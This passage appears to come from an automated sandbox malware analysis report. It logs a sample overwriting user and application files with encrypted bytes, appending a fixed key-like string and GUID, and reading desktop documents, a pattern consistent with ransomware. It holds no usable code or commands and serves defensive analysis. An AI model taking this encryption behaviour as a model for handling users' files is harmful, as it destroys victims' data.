36 6e fd 12 fd fd 4d fd fd 
11 2a fd fd fd 04 fd fd fd 
fd fd fd 16 24 fd 0a 13 fd 
56 fd fd 1e 58 0d fd 39 07 
fd 0d fd fd 5e fd fd 31 fd 
fd 2a fd fd fd 0b fd fd fd 
16 fd fd 50 fd 0f fd 16 fd 
fd fd 1f fd 1f 66 fd 5e fd fd 
7d 2e fd fd 03 04 17 fd 76 
1f 25 2d 10 47 fd fd fd fd 
fd fd fd 62 20 28 53 46 15 
21 26 75 

HFMq`Ns+
(3q\'udxHjgjeRH<%azs<,
%~&4kUrj!
<QP<%A8_6nM*$VX9^1
*Pf^}.v%-Gb (SF!&u

success or wait 1 4115FA WriteFile

C:\Users\user\AppData\Local\Mi
crosoft\CLR_v4.0\ngen.log

591 40 4d 7a 43 4a 30 51 79 61 
6b 36 52 51 59 4b 69 77 
57 72 69 68 34 67 32 52 
47 4c 79 30 30 41 64 4e 
4a 59 37 62 7a 6e 41 38 

MzCJ0Qyak6RQYKiwWri
h4g2RGLy00A
dNJY7bznA8

success or wait 1 41164B WriteFile

C:\Users\user\AppData\Local\Mi
crosoft\CLR_v4.0\ngen.log

631 38 7b 33 36 41 36 39 38 42 
39 2d 44 36 37 43 2d 34 
45 30 37 2d 42 45 38 32 
2d 30 45 43 35 42 31 34 
42 34 44 46 35 7d 

{36A698B9-D67C-4E07-
BE82-0EC5B14B4DF5}

success or wait 1 41167E WriteFile

C:\Users\user\AppData\Local\Mi
crosoft\CLR_v4.0_32\ngen.log

5 328 1d 4a fd fd fd 58 21 0c fd 
41 fd 7a 64 fd 6c 00 fd 6f 
75 37 fd 4d fd fd 15 59 fd 
54 fd 37 7c 03 39 fd fd 6a 
fd fd 46 fd fd 6c 62 fd fd 
fd fd 67 fd 0e 6d fd 2f fd 
34 3e fd fd 2a fd 41 0d fd 
60 76 51 2c 54 fd b3 22 
fd fd fd 48 fd 5d 33 fd 4a 
5c 27 fd fd 04 fd fd d2 56 
69 40 3a fd fd 42 fd fd fd 
56 fd fd 4f 54 3a fd 35 fd 
fd fd 2f fd fd fd 6e 4d 3e 
6e 2b fd 33 fd 0e 27 fd 53 
3a 55 fd 28 3b 24 fd fd fd 
fd fd 37 71 fd fd 21 fd fd 
0d fd fd 16 fd 65 fd fd 7d 
fd 6e 17 2f fd 76 fd 60 0f 
01 fd 3a 4f 64 fd 6e fd 2f 
2d 17 47 fd 9e fd fd fd 74 
fd fd fd 2a 19 33 fd fd fd 
68 06 77 8a 24 8a 72 fd 
fd fd fd 65 4d 79 0a e7 47 
fd fd fd 3e fd 2e 2f fd fd fd 
fd 0f 38 24 fd 61 45 fd fd 
59 fd 64 fd fd 3f 65 40 fd 
2d f8 2d 2e a1 31 2f 

J!Azdlou7MYT7|9jFlbgm/
4>*A`vQ,
TH]3J\'Vi@:BVT:5/nM>n
+3'S:U(;$7q!e}n/v`:Odn/-
Gt*3hw$reMyG>./
8$aEYd?e@--./

success or wait 1 411859 WriteFile

File Path Offset Length Value Ascii Completion Count Source Address Symbol
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C:\Users\user\AppData\Local\Mi
crosoft\CLR_v4.0_32\ngen.log

333 256 0e fd fd fd 68 fd fd 43 fd 
78 7c 65 fd 50 3d 7a 5e 
fd fd 54 7a 29 fd 78 fd 33 
7f 52 04 63 fd 5e 7c fd 03 
3f 6b 06 fd fd 1e fd 72 37 
fd fd 53 fd 7c 11 67 71 03 
fd 02 10 57 fd 3a 08 fd fd 
39 fd fd 02 fd 55 32 19 fd 
48 32 fd fd 2f 3f 0b fd 4c 
fd 77 69 67 09 fd 41 fd fd 
6e 4d 04 fd fd 0d 38 fd 30 
1e fd fd fd fd 63 0b fd 60 
27 70 73 24 fd 35 0e 7c 
28 1c 19 fd 47 35 54 17 
fd 35 46 04 fd 34 2e 7b 7f 
77 fd 09 40 2c fd fd fd fd 
18 28 7b fd 74 50 fd 2c 
36 1f fd 6a fd fd 19 71 fd 
fd 02 fd 73 09 fd 42 4b fd 
fd fd 42 fd 1e 1f fd fd 36 
06 fd 34 fd fd fd fd fd 4d 
46 11 fd 22 76 fd 57 fd 8e 
fd 48 39 1f fd 78 43 fd fd 
fd fd fd fd fd fd 16 1f 42 
0e fd 14 34 54 49 fd fd fd 
44 1a fd fd fd fd 6c fd 52 
fd 2e fd fd 49 45 fd 17 02 
2d 4d 63 4a fd 

hCx|eP=zTz)x3Rc^|?
kr7S|gqW:9U2H2/?
LwigAnM80`'ps$5|
(G5T5F4.{w@,
({P,6jqsBKB64MF"vWH9
xCB4TIDlR.IE-McJ

success or wait 1 4115FA WriteFile

C:\Users\user\AppData\Local\Mi
crosoft\CLR_v4.0_32\ngen.log

589 40 4d 7a 43 4a 30 51 79 61 
6b 36 52 51 59 4b 69 77 
57 72 69 68 34 67 32 52 
47 4c 79 30 30 41 64 4e 
4a 59 37 62 7a 6e 41 38 

MzCJ0Qyak6RQYKiwWri
h4g2RGLy00A
dNJY7bznA8

success or wait 1 41164B WriteFile

C:\Users\user\AppData\Local\Mi
crosoft\CLR_v4.0_32\ngen.log

629 38 7b 33 36 41 36 39 38 42 
39 2d 44 36 37 43 2d 34 
45 30 37 2d 42 45 38 32 
2d 30 45 43 35 42 31 34 
42 34 44 46 35 7d 

{36A698B9-D67C-4E07-
BE82-0EC5B14B4DF5}

success or wait 1 41167E WriteFile

C:\Users\user\AppData\Local\Mi
crosoft\Internet Explorer\brndlog.txt

5 6571 16 2b fd 70 fd 43 67 fd fd 
7e 4a 62 fd fd 5a fd fd 0b 
46 9b fd fd 13 4a 76 6b fd 
fd fd 29 5e 4d bd fd 15 18 
09 fd 1d 02 fd 09 fd 4c fd 
3d 74 6c 73 fd fd 2f fd 64 
fd 21 7b 41 fd 01 fd fd 7c 
fd fd 38 fd 59 fd fd 10 fd 
fd fd 77 fd 57 25 68 fd fd 
1f fd 50 fd 5a fd fd fd fd fd 
1d fd 76 04 16 fd fd fd fd 
fd 29 fd fd fd fd fd 35 2a 
3b fd fd 07 fd 47 00 fd fd 
fd fd fd 52 fd fd 46 fd fd 
25 fd 65 fd fd 56 21 fd 42 
fd 0e 78 62 21 fd 39 fd fd 
22 fd fd fd fd 6c 1c fd fd 
06 fd fd 4f fd fd 1b fd fd 55 
fd 1d 1f fd 19 31 15 fd 0a 
5a 44 6f 64 19 fd 1d 69 0f 
fd 33 6d 7d fd 1c fd fd 6d 
6a fd 0c 59 49 4a fd 72 
43 ff 7c fd fd fd 0d 4f f2 0b 
fd fd 6d 1b fd 4d 0c 5a fd 
5c fd fd fd 4c 1b 2e 2b 11 
fd fd 18 fd fd fd fd fd 4f 47 
74 2d 16 fd 74 fd 67 

+pCg~JbZFJvk)^ML=tls/d
!{A|8Yw%
hPZv)5*;GRF%e!Bxb!9"l
OU1ZDodi3
m}mjYIJrC|OmM\L.+OGtt
g

success or wait 1 411859 WriteFile

File Path Offset Length Value Ascii Completion Count Source Address Symbol
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C:\Users\user\AppData\Local\Mi
crosoft\Internet Explorer\brndlog.txt

6576 256 40 48 6e 11 fd 5d fd c8 
2d fd 43 18 1a fd 6c fd 0c 
fd fd 74 13 58 fd 77 50 fd 
fd fd 69 fd fd 47 fd 58 0f 
1c fd fd fd 6f 26 fd 66 4c 
4e fd 4e fd fd fd fd 3e 42 
43 4f fd fd 6f 5f fd 44 fd 03 
67 33 63 2d fd fd fd fd 4c 
2a 6c 7b 69 03 21 fd 4b 
34 fd fd fd 3e 7b 4d 59 0d 
77 47 fd 0b 8f fd fd fd 17 
28 fd fd fd 7a 02 fd 4a fd 
61 59 55 6b 49 fd 54 fd 1f 
36 fd 37 4c 9f 62 fd fd 45 
4e 6a 41 fd fd 0a a1 68 fd 
36 fd fd 43 fd 7e 12 fd 3f 
fd 21 6f fd 43 27 58 fd 2f 
0a 78 71 fd fd 05 fd fd 05 
10 fd 39 24 39 29 19 fd 
61 fd fd fd 3f 0d 54 fd 65 
fd 5e fd fd bf fd 63 fd 72 
4f fd 58 fd 4d fd 53 fd 39 
4f fd 11 64 26 fd fd fd fd 
42 7b 2f fd fd fd 2e fd 15 
09 fd 4a fd 53 25 45 41 
6b 19 fd 61 67 75 39 fd fd 
5d 50 fd fd fd 5f fd 54 fd 
69 fd 60 

@Hn]-
CltXwPiGXo&fLN>BCOo
_Dg3c-L*l{i!K4>
{MYw(zJaYUkIT67LbENj
Ah6C~?!oC'X/xq9$9)a?
Te^crOXMS9O
d&B{/.JS%EAkagu9]P_Ti
`

success or wait 1 4115FA WriteFile

C:\Users\user\AppData\Local\Mi
crosoft\Internet Explorer\brndlog.txt

6832 40 4d 7a 43 4a 30 51 79 61 
6b 36 52 51 59 4b 69 77 
57 72 69 68 34 67 32 52 
47 4c 79 30 30 41 64 4e 
4a 59 37 62 7a 6e 41 38 

MzCJ0Qyak6RQYKiwWri
h4g2RGLy00A
dNJY7bznA8

success or wait 1 41164B WriteFile

C:\Users\user\AppData\Local\Mi
crosoft\Internet Explorer\brndlog.txt

6872 38 7b 33 36 41 36 39 38 42 
39 2d 44 36 37 43 2d 34 
45 30 37 2d 42 45 38 32 
2d 30 45 43 35 42 31 34 
42 34 44 46 35 7d 

{36A698B9-D67C-4E07-
BE82-0EC5B14B4DF5}

success or wait 1 41167E WriteFile

C:\Users\user\AppData\Local\Mi
crosoft\Internet Explorer\ie4uinit-
ClearIconCache.log

5 743 fd fd 3b 33 fd 1e fd 4c 4c 
1d fd 63 7d 10 fd 36 fd 00 
fd fd 4f 49 fd 5e fd 34 fd 
fd 63 74 11 fd fd 61 28 3a 
1a 39 35 fd fd fd 70 e6 fd 
4b 5d fd 7f 20 28 fd 1f 34 
1a fd 17 1b 14 3d 72 fd fd 
0e fd fd 7b fd 09 fd fd 37 
18 fd 4d fd fd 45 28 23 fd 
2e fd fd 4d 23 fd fd fd 6e 
67 30 12 fd 34 18 20 fd fd 
56 fd fd 75 44 fd 53 fd 3e 
fd fd 42 5f fd 81 fd 56 fd 
4b fd 5a fd 5b 09 c2 fd fd 
16 fd 16 08 1c 32 0c fd 
51 fd 2a fd 3f fd 30 fd fd fd 
59 5b 1f 5f fd 66 71 fd fd 
fd fd fd 72 5a cf fd 21 78 
fd 51 fd 48 fd fd fd 77 24 
59 fd fd fd fd 59 3c 47 68 
fd 35 fd fd fd 24 7c fd 56 
fd fd fd 28 39 fd 30 05 38 
fd fd 0b fd 11 04 67 52 03 
ca 4e 0a fd 2f 2d fd 21 41 
00 58 4d fd 52 fd fd fd 44 
fd 26 fd 44 61 fd 43 7f fd 
fd fd fd 7a fd fd fd 13 71 
fd fd 46 fd fd 

;3LLc}6OI^4cta(:95pK] 
(4=r{7ME(#.M#ng04 
VuDS>B_VKZ[2Q*?0Y[_f
qrZ!xQHw$YY<Gh5$|V(9
08gRN/-!AX
MRD&DaCzqF

success or wait 1 411859 WriteFile

File Path Offset Length Value Ascii Completion Count Source Address Symbol
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C:\Users\user\AppData\Local\Mi
crosoft\Internet Explorer\ie4uinit-
ClearIconCache.log

748 256 40 fd fd 0e 17 51 1c fd fd 
54 3e 62 fd fd b8 fd 32 5d 
66 23 fd fd fd fd fd 05 58 
fd fd fd 0a fd fd c9 fd 50 
0b fd 7e 6d 3a 27 06 fd fd 
5b 24 47 fd 34 fd 57 3f fd 
75 36 22 fd fd fd fd fd fd 
fd fd 86 fd 14 fd fd 9f fd 
1a 1d 6c 49 16 fd 4d fd 6f 
ed 7f fd 53 6f 6e 1e fd 5f 
00 54 3c 28 fd fd 4a fd 29 
fd 65 2b 74 69 1f fd fd 18 
76 cc fd 16 6a fd fd 6d fd 
2f fd 53 48 fd 29 fd 1b 0b 
fd 51 fd 43 fd 3f 56 fd fd 
44 fd 7d 55 fd fd 71 10 14 
5c fd fd 5c fd 56 1e 05 fd 
40 fd 3b fd fd 10 55 fd fd 
fd fd 7f 09 fd fd fd fd fd fd 
62 71 fd 1b 23 4a fd 1f 62 
4d 1d fd fd 31 07 54 fd 32 
fd 57 fd 62 e5 fd fd 6d 38 
fd fd 37 fd 71 fd 62 fd fd 
6d 43 fd 78 fd fd fd 1f fd 
fd 3e 7c fd 7d fd fd fd 29 
fd 06 fd 77 14 fd 78 43 6d 
32 fd 61 15 70 

@QT>b2]f#XP~m:'$G4W
?u6"lIMoSon
_T<(J)e+tivjm/SH)QC?
VD}Uq\\V@;
Ubq#JbM1T2Wb87qbmC
x>|})wxCm2ap

success or wait 1 4115FA WriteFile

C:\Users\user\AppData\Local\Mi
crosoft\Internet Explorer\ie4uinit-
ClearIconCache.log

1004 40 4d 7a 43 4a 30 51 79 61 
6b 36 52 51 59 4b 69 77 
57 72 69 68 34 67 32 52 
47 4c 79 30 30 41 64 4e 
4a 59 37 62 7a 6e 41 38 

MzCJ0Qyak6RQYKiwWri
h4g2RGLy00A
dNJY7bznA8

success or wait 1 41164B WriteFile

C:\Users\user\AppData\Local\Mi
crosoft\Internet Explorer\ie4uinit-
ClearIconCache.log

1044 38 7b 33 36 41 36 39 38 42 
39 2d 44 36 37 43 2d 34 
45 30 37 2d 42 45 38 32 
2d 30 45 43 35 42 31 34 
42 34 44 46 35 7d 

{36A698B9-D67C-4E07-
BE82-0EC5B14B4DF5}

success or wait 1 41167E WriteFile

C:\Users\user\AppData\Local\Mi
crosoft\Internet Explorer\ie4uinit-
UserConfig.log

5 1309 00 44 fd 5c 11 19 fd 60 
45 14 72 3a fd 3e 44 fd 
4d fd fd 6e 3d 0e fd 2d 25 
66 fd fd e4 fd 65 fd fd 6a 
5e 40 66 fd 76 fd 56 fd fd 
49 22 15 74 fd 45 fd 3e fd 
57 48 40 7d 13 fd 25 0a 
6f 4e fd 17 fd fd 20 28 67 
2f 47 63 fd 49 41 40 4c fd 
fd 36 65 fd fd fd fd 39 fd 
6a 43 fd 7b 36 fd 3b 76 
ee 15 79 fd 6a 1b fd 2e 
1c fd 25 fd 61 7a fd fd 72 
7b fd fd 5a fd 03 5e fd fd 
0b 75 31 fd 2d 5e 22 04 
55 23 1d fd fd fd 22 fd fd 
11 fd 08 1a 01 4a fd fd 0a 
71 fd fd 17 54 fd 3a 67 fd 
fd 1e fd fd fd fd fd fd 68 fd 
fd fd fd 60 fd 2c 56 4c 07 
fd 11 fd 01 07 25 fd fd b4 
fd 69 54 fd fd fd 6d fd fd 
fd fd 31 70 7e fd 71 0e 61 
fd 16 38 fd 65 53 fd fd 0d 
17 7e 0b 55 fd 72 fd 0f 2a 
4e 8f 6f 8a fd 71 fd 0f fd fd 
3f 38 23 fd fd 1f 0e 5e 59 
fd 00 

D\`Er:>DMn=-
%fej^@fvVI"tE>WH@}
%oN 
(g/GcIA@L6e9jC6;vyj.%a
zr{Z^u1-
^"U#"JqT:gh`,VL%iTm1p
~qa8eS~Ur*oq?8#^Y

success or wait 1 411859 WriteFile

File Path Offset Length Value Ascii Completion Count Source Address Symbol

Copyright Joe Security LLC 2022 Page 200 of 219



C:\Users\user\AppData\Local\Mi
crosoft\Internet Explorer\ie4uinit-
UserConfig.log

1314 256 26 58 fd 3c fd 12 fd fd fd 
59 fd 64 46 09 fd 73 fd 46 
fd 6c fd 73 fd fd fd fd fd 
76 72 fd 76 fd fd 23 fd 17 
6d 3a 3c 26 fd fd 1a fd fd 
fd 1f fd 45 4c fd 00 fd 12 
61 fd 4a fd 25 1b 3c fd fd 
fd 56 6d 29 fd 6d 77 3f fd 
fd 1b fd 38 fd fd fd fd 37 
fd 00 01 fd 24 61 fd fd 7d 
77 56 fd fd 3a fd 27 fd 47 
fd 1f 79 73 fd 0e 03 4b 79 
02 4e 5f fd 71 59 fd fd 64 
fd 12 0d fd 09 fd 57 6c 72 
2d fd fd 56 fd 07 fd 5f 5f 
4f 6a 3b 46 04 1d fd fd 13 
21 fd 45 68 3c 3a fd fd fd 
0f fd 13 fd fd 75 fd fd fd 
1e fd 4c fd fd 28 fd 27 4d 
fd 73 ec 67 6a 56 72 7f 
56 46 fd f4 41 fd 26 52 16 
13 fd 47 fd fd 18 37 fd 5e 
fd fd 1d fd 4b 02 fd 31 fd 
fd 66 fd 46 6f 3a fd 75 07 
7f 7c ae fd fd fd 5c 7a 19 
13 6c fd 27 37 63 fd 15 fd 
fd 75 fd fd fd fd fd 16 fd fd 
fd 

&X<YdFsFlsvrv#m:
<&ELaJ%<V)mw?8
7$a}wV:'GysKyN_qYdWlr
-V__Oj;F!
Eh<:L('MsgjVrVFA&RG7^
K1fFo:u|\zl'7cu

success or wait 1 4115FA WriteFile

C:\Users\user\AppData\Local\Mi
crosoft\Internet Explorer\ie4uinit-
UserConfig.log

1570 40 4d 7a 43 4a 30 51 79 61 
6b 36 52 51 59 4b 69 77 
57 72 69 68 34 67 32 52 
47 4c 79 30 30 41 64 4e 
4a 59 37 62 7a 6e 41 38 

MzCJ0Qyak6RQYKiwWri
h4g2RGLy00A
dNJY7bznA8

success or wait 1 41164B WriteFile

C:\Users\user\AppData\Local\Mi
crosoft\Internet Explorer\ie4uinit-
UserConfig.log

1610 38 7b 33 36 41 36 39 38 42 
39 2d 44 36 37 43 2d 34 
45 30 37 2d 42 45 38 32 
2d 30 45 43 35 42 31 34 
42 34 44 46 35 7d 

{36A698B9-D67C-4E07-
BE82-0EC5B14B4DF5}

success or wait 1 41167E WriteFile

C:\Users\user\AppData\Local\Mi
crosoft\Internet Explorer\MSIM
GSIZ.DAT

5 49115 38 fd 50 fd 4d fd 1b fd 1a 
01 65 fd fd 00 fd 6f 9e fd 
4f fd 49 fd fd 2a fd 3a 72 
49 fd fd 68 24 41 03 fd 35 
fd 3d 5d 04 fd fd 7d 56 7b 
56 fd fd fd 39 fd fd 79 fd 
fd ed 08 fd 1c fd 46 57 5f 
55 10 fd 48 71 2c fd fd 69 
79 0f 79 1a fd 0f a5 fd 16 
fd fd 36 fd 32 4e 59 6a 75 
2c fd fd fd fd 0e 41 42 20 
fd fd 7c a2 fd 7e 5b fd 40 
fd 09 3c fd 74 36 74 7c fd 
59 fd fd 73 6c 7f 70 3a 7e 
fd 1a 35 08 3f 47 42 40 
56 53 79 fd fd 71 fd 28 64 
78 3b 74 fd 71 2d 5d 29 
fd 45 26 39 77 4f 19 6d 
70 d2 fd fd fd 5d fd 66 4a 
fd fd 1a fd 57 65 fd 1a 1f 
fd 65 5d fd 11 34 fd 24 fd 
04 05 fd 4f fd 5a c5 fd 16 
fd fd 60 fd fd 48 25 fd fd 
fd 63 fd 73 fd fd 67 07 fd 
fd 39 fd fd 30 fd fd 6f 42 
08 0e 18 fd fd 47 fd fd fd 
65 7e fd 46 fd fd fd 3e 56 
fd 

8PMeoOI*:rIh$A5=]}V{V9
yFW_Hq,iyy62NYju,AB ~
[@<t6t|Yslp:~5?GB
@VSyq(dx;tq-
])E&9wOmp]fJWee]4$
Z`H%csg90oBGe~F>V

success or wait 1 411859 WriteFile

File Path Offset Length Value Ascii Completion Count Source Address Symbol
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C:\Users\user\AppData\Local\Mi
crosoft\Internet Explorer\MSIM
GSIZ.DAT

49120 256 04 fd fd 4b 50 68 fd fd 27 
fd fd 08 26 20 fd 64 1b 14 
75 fd fd 03 fd c6 2a 0d 39 
fd 17 35 37 fd fd 4a 0a 12 
fd fd 54 1f fd fd 3e fd 25 
fd fd 5f fd 0e fd 68 2f fd 
21 fd 21 7a 3f fd 55 fd 4c 
57 fd 53 0f fd fd fd fd 7b 
fd 14 7b fd 7c 3c fd 1f 74 
64 fd fd 34 fd fd 11 fd 19 
24 65 fd fd 79 fd fd 1e f4 
fd fd fd 7f 51 fd fd b0 23 
62 fd fd 45 4e 4e fd 1f 5f 
fd 23 fd 45 03 fd 5b 12 45 
fd fd 69 4a 11 fd fd fd 7b 
fd fd fd 6b fd 17 fd 64 6e 
fd 40 39 5a 00 fd fd 63 fd 
fd 0f fd 49 fd 5f fd fd 05 
ca fd 46 3e 4e fd fd 21 1e 
7d 72 1a 1f 12 3e fd fd fd 
48 2f 78 09 fd fd fd fd fd 
39 fd 0c fd fd 07 0c fd 67 
fd e9 fd fd 58 fd fd fd 1c 
2b fd 37 07 fd 56 fd 6a fd 
fd 76 fd fd fd 2e 0c 59 23 
fd fd 60 fd fd 4c 28 fd 50 
40 fd 18 3c fd fd 72 

KPh'& 
du*957JT>%_h/!!z?
ULWS{{|
<td4$eyQ#bENN_#
[EiJ{kdn@9ZcI_F
>N!}r>H/x9gX+7Vjv.Y#`L(
P@<r

success or wait 1 4115FA WriteFile

C:\Users\user\AppData\Local\Mi
crosoft\Internet Explorer\MSIM
GSIZ.DAT

49376 40 4d 7a 43 4a 30 51 79 61 
6b 36 52 51 59 4b 69 77 
57 72 69 68 34 67 32 52 
47 4c 79 30 30 41 64 4e 
4a 59 37 62 7a 6e 41 38 

MzCJ0Qyak6RQYKiwWri
h4g2RGLy00A
dNJY7bznA8

success or wait 1 41164B WriteFile

C:\Users\user\AppData\Local\Mi
crosoft\Internet Explorer\MSIM
GSIZ.DAT

49416 38 7b 33 36 41 36 39 38 42 
39 2d 44 36 37 43 2d 34 
45 30 37 2d 42 45 38 32 
2d 30 45 43 35 42 31 34 
42 34 44 46 35 7d 

{36A698B9-D67C-4E07-
BE82-0EC5B14B4DF5}

success or wait 1 41167E WriteFile

C:\Users\user\AppData\Local\Mi
crosoft\OneDrive\OneDrive.Visu
alElementsManifest.xml

5 339 67 fd fd 6e 15 55 79 fd fd 
0a 2f 1d fd fd 06 fd 12 75 
07 1d 5b 77 fd 45 fd 09 fd 
48 fd 72 48 18 fd 6a 5a 
09 4c 25 44 fd fd 65 fd fd 
fd fd 8c fd 0f fd fd 2e fd fd 
4b fd 3c 4e fd 4a 79 73 
56 fd 42 74 32 fd 24 01 
1e 6f 42 56 7b 26 fd 1f 21 
fd 32 20 fd fd fd fd fd 10 
fd fd 1b fd 66 fd 68 02 27 
07 fd fd 0e fd 01 fd fd 3b 
43 57 15 66 06 1d 6b 59 
fd 2f 32 fd 7a 55 18 fd 78 
fd fd 17 4b fd 6f 33 fd 6e 
23 fd 4b 03 fd fd fd fd fd 
fd 04 59 fd fd fd 15 69 25 
fd ff fd 0a fd 59 61 fd fd 
0d 77 fd 79 61 5c fd fd fd 
fd 51 0c 1b fd 36 fd 50 20 
55 6a c6 51 fd 08 30 0d 
fd 2d fd 7a 04 fd fd fd fd 
49 59 fd fd fd 51 61 6d 50 
25 fd 6e 54 fd 67 fd 2e fd 
fd 4d fd 3e 77 5d fd fd 3b 
58 fd fd 55 7f fd fd 11 5d 
fd 78 4a fd 6e 16 2d 10 
a7 65 47 44 34 fd fd 75 

gnUy/u[wEHrHjZL%De.K
<JysVBt2$oBV&!2 
fh';CWfkY/2zUxKo3n#KYi
%Ywya\Q6P UjQ0-
zIYQamP%nTg.M>w];
XU]xJn-eGD4u

success or wait 1 411859 WriteFile

File Path Offset Length Value Ascii Completion Count Source Address Symbol
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C:\Users\user\AppData\Local\Mi
crosoft\OneDrive\OneDrive.Visu
alElementsManifest.xml

344 256 2c fd fd 1d 34 5b 16 fd 29 
30 10 fd fa 16 fd 3a fd 36 
bf 6c 67 fd 34 fd fd 1b 59 
fd 46 72 fd fd fd fd fd 4c 
6f 24 60 fd 7a fd 57 79 fd 
59 01 fd 45 fd 19 fd 13 08 
fd 71 16 fd fd 0e fd 6d 27 
fd fd 16 36 3c fd 54 1c 0b 
1b fd 04 2d fd 10 50 68 
2e fd 78 fd 18 4e 29 fd fd 
49 fd fd fd 72 72 12 fd 5a 
18 fd 7c 68 fd fd fd 4a 7c 
fd fd 59 fd 40 fd 25 6e fd 
fd 12 fd fd 46 fd 16 19 fd 
fd 09 fd 3c fd fd 5a fd 6e 
fd 47 fd 6b fd 33 fd 67 5e 
fd 7d fd 6f 57 fd 44 30 fd 
fd fd 77 3b 72 fd fd 6f 6a 
10 4d 6d fd 52 fd 48 fd 04 
19 fd fd fd 3f fd fd e9 20 
48 1f 7f fd fd fd fd 47 34 
6d 31 62 fd fd 33 fd 6e 96 
fd fd 3b 14 fd fd 4d fd 43 
fd fd 42 fd 03 4e 41 55 1f 
3e 39 fd fd 3e fd 15 fd 08 
22 fd 61 28 fd fd fd 32 05 
fd fd 06 fd 36 fd 46 42 fd 
fd 

,
[)0:6lg4YFrLo$`zyYEqm'6
<T-Ph.
xN)IrrZ|hJ|Y@%nF<ZnG
k3g^}oWD0w;rojMmRH? 
HG4m1b3n;MCBNAU>9>
"a(26FB

success or wait 1 4115FA WriteFile

C:\Users\user\AppData\Local\Mi
crosoft\OneDrive\OneDrive.Visu
alElementsManifest.xml

600 40 4d 7a 43 4a 30 51 79 61 
6b 36 52 51 59 4b 69 77 
57 72 69 68 34 67 32 52 
47 4c 79 30 30 41 64 4e 
4a 59 37 62 7a 6e 41 38 

MzCJ0Qyak6RQYKiwWri
h4g2RGLy00A
dNJY7bznA8

success or wait 1 41164B WriteFile

C:\Users\user\AppData\Local\Mi
crosoft\OneDrive\OneDrive.Visu
alElementsManifest.xml

640 38 7b 33 36 41 36 39 38 42 
39 2d 44 36 37 43 2d 34 
45 30 37 2d 42 45 38 32 
2d 30 45 43 35 42 31 34 
42 34 44 46 35 7d 

{36A698B9-D67C-4E07-
BE82-0EC5B14B4DF5}

success or wait 1 41167E WriteFile

File Path Offset Length Value Ascii Completion Count Source Address Symbol

File Path Offset Length Completion Count Source Address Symbol

C:\Users\user\AppData\Local\Microsoft\Windows\INetCookies\de
precated.cookie

unknown 38 success or wait 1 41134B ReadFile

C:\Users\user\AppData\Local\Microsoft\Windows\INetCookies\de
precated.cookie

unknown 153605 success or wait 1 41140B ReadFile

C:\Users\user\Desktop\BPMLNOBVSB.pdf unknown 38 success or wait 1 41134B ReadFile

C:\Users\user\Desktop\BPMLNOBVSB.pdf unknown 153605 success or wait 1 41140B ReadFile

C:\Users\user\Desktop\CURQNKVOIX.jpg unknown 38 success or wait 1 41134B ReadFile

C:\Users\user\Desktop\CURQNKVOIX.jpg unknown 153605 success or wait 1 41140B ReadFile

C:\Users\user\Desktop\CURQNKVOIX.mp3 unknown 38 success or wait 1 41134B ReadFile

C:\Users\user\Desktop\CURQNKVOIX.mp3 unknown 153605 success or wait 1 41140B ReadFile

C:\Users\user\Desktop\DVWHKMNFNN.docx unknown 38 success or wait 1 41134B ReadFile

C:\Users\user\Desktop\DVWHKMNFNN.docx unknown 153605 success or wait 1 41140B ReadFile

C:\Users\user\Desktop\JSDNGYCOWY.pdf unknown 38 success or wait 1 41134B ReadFile

C:\Users\user\Desktop\JSDNGYCOWY.pdf unknown 153605 success or wait 1 41140B ReadFile

C:\Users\user\Desktop\JSDNGYCOWY.xlsx unknown 38 success or wait 1 41134B ReadFile

C:\Users\user\Desktop\JSDNGYCOWY.xlsx unknown 153605 success or wait 1 41140B ReadFile

C:\Users\user\Desktop\KZWFNRXYKI.mp3 unknown 38 success or wait 1 41134B ReadFile

C:\Users\user\Desktop\KZWFNRXYKI.mp3 unknown 153605 success or wait 1 41140B ReadFile

C:\Users\user\Desktop\LTKMYBSEYZ.xlsx unknown 38 success or wait 1 41134B ReadFile

C:\Users\user\Desktop\LTKMYBSEYZ.xlsx unknown 153605 success or wait 1 41140B ReadFile

C:\Users\user\Desktop\MXPXCVPDVN.mp3 unknown 38 success or wait 1 41134B ReadFile

C:\Users\user\Desktop\MXPXCVPDVN.mp3 unknown 153605 success or wait 1 41140B ReadFile

C:\Users\user\Desktop\NIKHQAIQAU.jpg unknown 38 success or wait 1 41134B ReadFile

C:\Users\user\Desktop\NIKHQAIQAU.jpg unknown 153605 success or wait 1 41140B ReadFile

C:\Users\user\Desktop\NWTVCDUMOB.docx unknown 38 success or wait 1 41134B ReadFile

C:\Users\user\Desktop\NWTVCDUMOB.docx unknown 153605 success or wait 1 41140B ReadFile

C:\Users\user\Desktop\NWTVCDUMOB.pdf unknown 38 success or wait 1 41134B ReadFile

C:\Users\user\Desktop\NWTVCDUMOB.pdf unknown 153605 success or wait 1 41140B ReadFile

C:\Users\user\Desktop\RAYHIWGKDI.png unknown 38 success or wait 1 41134B ReadFile

C:\Users\user\Desktop\RAYHIWGKDI.png unknown 153605 success or wait 1 41140B ReadFile
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C:\Users\user\Desktop\VAMYDFPUND.png unknown 38 success or wait 1 41134B ReadFile

C:\Users\user\Desktop\VAMYDFPUND.png unknown 153605 success or wait 1 41140B ReadFile

C:\Users\user\Desktop\WUTJSCBCFX.docx unknown 38 success or wait 1 41134B ReadFile

C:\Users\user\Desktop\WUTJSCBCFX.docx unknown 153605 success or wait 1 41140B ReadFile

C:\Users\user\Desktop\WUTJSCBCFX.jpg unknown 38 success or wait 1 41134B ReadFile

C:\Users\user\Desktop\WUTJSCBCFX.jpg unknown 153605 success or wait 1 41140B ReadFile

C:\Users\user\Desktop\YPSIACHYXW.png unknown 38 success or wait 1 41134B ReadFile

C:\Users\user\Desktop\YPSIACHYXW.png unknown 153605 success or wait 1 41140B ReadFile

C:\Users\user\Desktop\YPSIACHYXW.xlsx unknown 38 success or wait 1 41134B ReadFile

C:\Users\user\Desktop\YPSIACHYXW.xlsx unknown 153605 success or wait 1 41140B ReadFile

C:\Users\user\Documents\BPMLNOBVSB.pdf unknown 38 success or wait 1 41134B ReadFile

C:\Users\user\Documents\BPMLNOBVSB.pdf unknown 153605 success or wait 1 41140B ReadFile

C:\Users\user\Documents\CURQNKVOIX.jpg unknown 38 success or wait 1 41134B ReadFile

C:\Users\user\Documents\CURQNKVOIX.jpg unknown 153605 success or wait 1 41140B ReadFile

C:\Users\user\Documents\CURQNKVOIX.mp3 unknown 38 success or wait 1 41134B ReadFile

C:\Users\user\Documents\CURQNKVOIX.mp3 unknown 153605 success or wait 1 41140B ReadFile

C:\Users\user\Documents\DVWHKMNFNN.docx unknown 38 success or wait 1 41134B ReadFile

C:\Users\user\Documents\DVWHKMNFNN.docx unknown 153605 success or wait 1 41140B ReadFile

